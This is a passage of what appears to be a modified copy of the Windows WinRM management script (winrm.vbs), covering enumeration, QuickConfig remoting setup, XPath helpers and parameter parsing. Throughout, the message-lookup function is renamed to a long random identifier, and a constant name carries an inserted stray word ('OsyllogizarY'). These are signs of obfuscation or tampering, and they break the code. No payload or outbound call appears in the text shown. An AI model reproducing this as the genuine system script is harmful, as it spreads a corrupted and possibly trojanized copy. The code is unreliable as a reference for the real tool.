ErrorHandler True, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ScriptNameNotFound_ErrorMessage")
End If
End If
Parse = rval
End Function
End Class
'''''''''''''''''''''
' Removes ?params part from URI
private function StripParams(uri)
dim qmpos
ASSERTBOOL Len(uri) <> 0, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_URIZERO_Message")
qmpos = InStr(uri, "?")
if qmpos <> 0 then
StripParams = Left(uri, qmpos - 1)
else
StripParams = uri
end if
end function
'''''''''''''''''''''
' Enumerate helper
private function Enumerate(wsmanObj, session, cmdlineOptions, resLocator, formatOption)
dim filter
dim dialect
dim e
dim res
dim formattedText
dim flags
flags = 0
if cmdlineOptions.ArgumentExists(NPARA_FILTER) then
filter = cmdlineOptions.Argument(NPARA_FILTER)
dialect = URI_WQL_DIALECT
end if
if cmdlineOptions.ArgumentExists(NPARA_DIALECT) then
dialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if
If LCase(dialect) = "selector" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
End If
If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then
dim dict
set dict = ProcessParameterHash(filter)
If dict Is Nothing Then
Exit Function
End If
Dim name
Dim value
filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"
For Each name In dict
value = dict(name)
filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"
Next
filter = filter & "</wsman:SelectorSet>"
End If
If LCase(dialect) = "wql" Then
dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"
End If
If LCase(dialect) = "association" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
End If
If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then
If not cmdlineOptions.ArgumentExists(NPARA_FILTER) Then
ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"
End If
If (cmdlineOptions.ArgumentExists(NPARA_ASSOCINST)) Then
flags = flags OR wsmanObj.EnumerationFlagAssociationInstance
Else
flags = flags OR wsmanObj.EnumerationFlagAssociatedInstance
End if
End If
If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and cmdlineOptions.ArgumentExists(NPARA_ASSOCINST) ) Then
ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"
End If
if cmdlineOptions.ArgumentExists(NPARA_RETURN_TYPE) then
select case LCase(cmdlineOptions.Argument(NPARA_RETURN_TYPE))
case VAL_RT_OBJECT
' default
case VAL_RT_EPR
flags = flags OR wsmanObj.EnumerationFlagReturnEPR
case VAL_RT_OBJ_EPR
flags = flags OR wsmanObj.EnumerationFlagReturnObjectAndEPR
case else
ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & cmdlineOptions.Argument(NPARA_RETURN_TYPE) & " is not a valid option"
end select
end if
if (cmdlineOptions.ArgumentExists(NPARA_SHALLOW)) then
flags = flags OR wsmanObj.EnumerationFlagHierarchyShallow
elseif (cmdlineOptions.ArgumentExists(NPARA_BASE_PROPS_OsyllogizarY)) then
flags = flags OR wsmanObj.EnumerationFlagHierarchyDeepBasePropsOnly
else
flags = flags OR wsmanObj.EnumerationFlagHierarchyDeep
end if
on error resume next
set e = session.Enumerate(resLocator, filter, dialect, flags)
if Err.Number = T_O then
set e = session.Enumerate(resLocator, filter, dialect, flags)
if Err.Number = T_O then
set e = session.Enumerate(resLocator, filter, dialect, flags)
end if
end if
ASSERTERR session, formatOption
on error goto 0
if cmdlineOptions.ArgumentExists(NPARA_TIMEOUT) then
e.Timeout = cmdlineOptions.Argument(NPARA_TIMEOUT)
end if
if(LCase(formatOption) <> VAL_FORMAT_TEXT) then
wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"
end if
do while Not e.AtEndOfStream
on error resume next
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
end if
end if
if Err.Number <> 0 then
stdErr.WriteLine e.Error
wscript.echo "</wsman:Results>"
end if
ASSERTERR e, formatOption
on error goto 0
'reformat if requested
on error resume next
err.clear
if not Reformat(res,formattedText,formatOption) then
exit do
end if
wscript.echo formattedText
loop
if(LCase(formatOption) <> VAL_FORMAT_TEXT) then
wscript.echo "</wsman:Results>"
end if
set e = Nothing
Enumerate = ""
end function
'''''''''''''''''''''
private function GetSuffix(resUri)
ASSERTBOOL Len(resUri) <> 0, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_URIZERO_Message")
GetSuffix = "_INPUT"
end function
'''''''''''''''''''''
' QuickConfig helper
Private Function QuickConfig(session, cmdlineOptions)
QuickConfigRemoting session, cmdlineOptions, true
If Err.Number <> 0 Then
Exit Function
End If
QuickConfigRemoting session, cmdlineOptions, false
End function
Private Function QuickConfigRemoting(session, cmdlineOptions, serviceOnly)
Dim analysisInputXml
Dim analysisOutputXml
Dim analysisOutput
Dim transport
Dim action
If (serviceOnly = false) Then
If (Not cmdlineOptions.ArgumentExists(NPARA_TRANSPORT)) Then
transport = "http"
Else
transport = cmdlineOptions.Argument(NPARA_TRANSPORT)
End If
End If
If (serviceOnly = true) Then
analysisInputXml = "<AnalyzeService_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""></AnalyzeService_INPUT>"
action = "AnalyzeService"
ElseIf (cmdlineOptions.ArgumentExists(NPARA_FORCE)) Then
analysisInputXml = "<Analyze_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""><Transport>" & transport & "</Transport><Force/></Analyze_INPUT>"
action = "Analyze"
Else
analysisInputXml = "<Analyze_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""><Transport>" & transport & "</Transport></Analyze_INPUT>"
action = "Analyze"
End If
On Error Resume Next
analysisOutputXml = sessionObj.Invoke(action, "winrm/config/service", analysisInputXml)
If Err.Number <> 0 Then
Exit Function
End If
'wscript.echo analysisOutputXml
On Error Resume Next
Set analysisOutput = CreateObject("MSXML2.DOMDocument.6.0")
If Err.number <> 0 Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_MSXML6MISSING_Message")
Exit Function
End If
analysisOutput.LoadXML(analysisOutputXml)
If (analysisOutput.parseError.errorCode <> 0) Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_XMLERROR_Message") & paramXmlFile.parseError.reason
Exit Function
End If
Dim xpathEnabled
Dim xpathText
Dim xpathUpdate
If (serviceOnly = true) Then
xpathEnabled = "/s:AnalyzeService_OUTPUT/s:RemotingEnabled"
xpathText = "/s:AnalyzeService_OUTPUT/s:Results"
xpathUpdate = "/s:AnalyzeService_OUTPUT/s:EnableService_INPUT"
Else
xpathEnabled = "/s:Analyze_OUTPUT/s:RemotingEnabled"
xpathText = "/s:Analyze_OUTPUT/s:Results"
xpathUpdate = "/s:Analyze_OUTPUT/s:EnableRemoting_INPUT"
End If
Dim enabled
Dim displayText
Dim updateInputXml
Dim source
enabled = GetElementByXpath(analysisOutput, xpathEnabled)
source = GetElementAttributeByXpath(analysisOutput, xpathEnabled, "Source")
If (enabled = "true") Then
If (serviceOnly = true) Then
stdOut.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfigNoServiceChangesNeeded_Message2")
Else
stdOut.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfigNoChangesNeeded_Message")
End If
Exit Function
End If
If (enabled <> "false") Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfig_InvalidBool_0_ErrorMessage")
Exit Function
End If
displayText = GetElementByXpath(analysisOutput, xpathText)
updateInputXml = GetElementByXpath(analysisOutput, xpathUpdate)
if (source = "GPO") Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage")
stdErr.WriteLine displayText
Exit Function
End If
'wscript.echo updateInputXml
If (updateInputXml = "" OR displayText = "") Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfig_MissingUpdateXml_0_ErrorMessage")
Exit Function
End If
If (serviceOnly = true) Then
stdOut.writeline zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfig_ServiceUpdatesNeeded_0_Message")
Else
stdOut.writeline zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfig_UpdatesNeeded_0_Message")
End If
stdOut.writeline zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfig_UpdatesNeeded_1_Message")
stdOut.writeline ""
stdOut.writeline displayText
stdOut.writeline ""
If (Not cmdlineOptions.ArgumentExists(NPARA_QUIET) And Not cmdlineOptions.ArgumentExists(NPARA_FORCE)) Then
stdOut.write zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfig_Prompt_0_Message")
dim answer
answer = LCase(stdIn.ReadLine)
If answer <> "y" And answer <> "yes" Then
Exit Function
End If
stdOut.writeline ""
End If
Dim updateOutputXml
If (serviceOnly = true) Then
action = "EnableService"
Else
action = "EnableRemoting"
End If
On Error Resume Next
updateOutputXml = sessionObj.Invoke(action, "winrm/config/service", updateInputXml)
If Err.Number <> 0 Then
Exit Function
End If
'wscript.echo updateOutputXml
Dim updateOutput
On Error Resume Next
Set updateOutput = CreateObject("MSXML2.DOMDocument.6.0")
If Err.number <> 0 Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_MSXML6MISSING_Message")
Exit Function
End If
updateOutput.LoadXML(updateOutputXml)
If (updateOutput.parseError.errorCode <> 0) Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_XMLERROR_Message") & paramXmlFile.parseError.reason
Exit Function
End If
Dim xpathStatus
Dim xpathResult
If (serviceOnly = true) Then
xpathStatus = "/s:EnableService_OUTPUT/s:Status"
xpathResult = "/s:EnableService_OUTPUT/s:Results"
Else
xpathStatus = "/s:EnableRemoting_OUTPUT/s:Status"
xpathResult = "/s:EnableRemoting_OUTPUT/s:Results"
End If
Dim status
Dim resultText
status = GetElementByXpath(updateOutput, xpathStatus)
resultText = GetElementByXpath(updateOutput, xpathResult)
If (status = "succeeded") Then
If (serviceOnly = true) Then
stdOut.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfigUpdatedService_Message")
Else
stdOut.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfigUpdated_Message")
End If
Else
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_QuickConfigUpdateFailed_ErrorMessage")
End If
If (resultText <> "") Then
stdOut.WriteLine ""
stdOut.WriteLine resultText
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function
Set elementList = msxmlObj.selectNodes(xpath)
If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
GetElementAttributeByXpath = currentElement.getAttribute("Source")
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
private function GetXmlNs(resUri)
dim resUriLCase
dim s1
dim s2
ASSERTBOOL Len(resUri) <> 0, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_URIZERO_Message")
resUriLCase = LCase(resUri)
if InStr(resUriLCase, URI_IPMI) <> 0 then
GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if
GetXmlNs = "xmlns:p=""" & GetXmlNs & """"
end function
'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
private function GetRootNodeName(opr, resUri, actUri)
dim uriTmp
dim sfx
dim s
dim regexpObj
Set regexpObj = New RegExp
ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_URIZEROTOK_Message")
GetRootNodeName = uriTmp & sfx
end function
private function ProcessParameterHash(hashString)
on error resume next
dim matches
dim m
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Global = True
regexpObj.IgnoreCase = True
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
If Len(hashString) > 0 then
If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
'following check ensures that if we have unmatched substrings
'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
set ProcessParameterHash = resultDictionary
end function
private function CreateAndInitializeResourceLocator(wsman,resourceUri,cmdlineOptions)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)
if Err.number <> 0 then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = cmdlineOptions.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(cmdlineOptions.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = cmdlineOptions.Argument(NPARA_FRAGMENT)
end if
if(cmdlineOptions.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if
set CreateAndInitializeResourceLocator = resourceLocator
end function
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
private function ProcessInput(wsman, operation, root, cmdlineOptions, resourceLocator,sessionObj,inputStr,formatOption)
on error resume next
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
'make sure it's a relevent operation
select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select
xmlns = GetXmlNs(resourceLocator.ResourceURI)
'process the parameters into a Map
parameterString = cmdlineOptions.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If
'if there were no parameters, get from file
if parameterCount = 0 then
if cmdlineOptions.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(cmdlineOptions.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if
if operation = OP_CRE Or operation = OP_INV then
dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if
putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
elseif operation = OP_PUT then
if parameterCount = 0 then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'get the original resource xml
on error resume next
putStr = sessionObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR sessionObj, formatOption
inputStr = ""
ProcessInput = false
exit function
end if
'create an MSXML DomDocument object to work with the resource xml
on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false
'load the domdocument with the resource xml
paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"
'loop through the command-line name/value pairs
for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)
'make sure there is 1 - error on 0 or > 1
if elementList.length = 0 then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
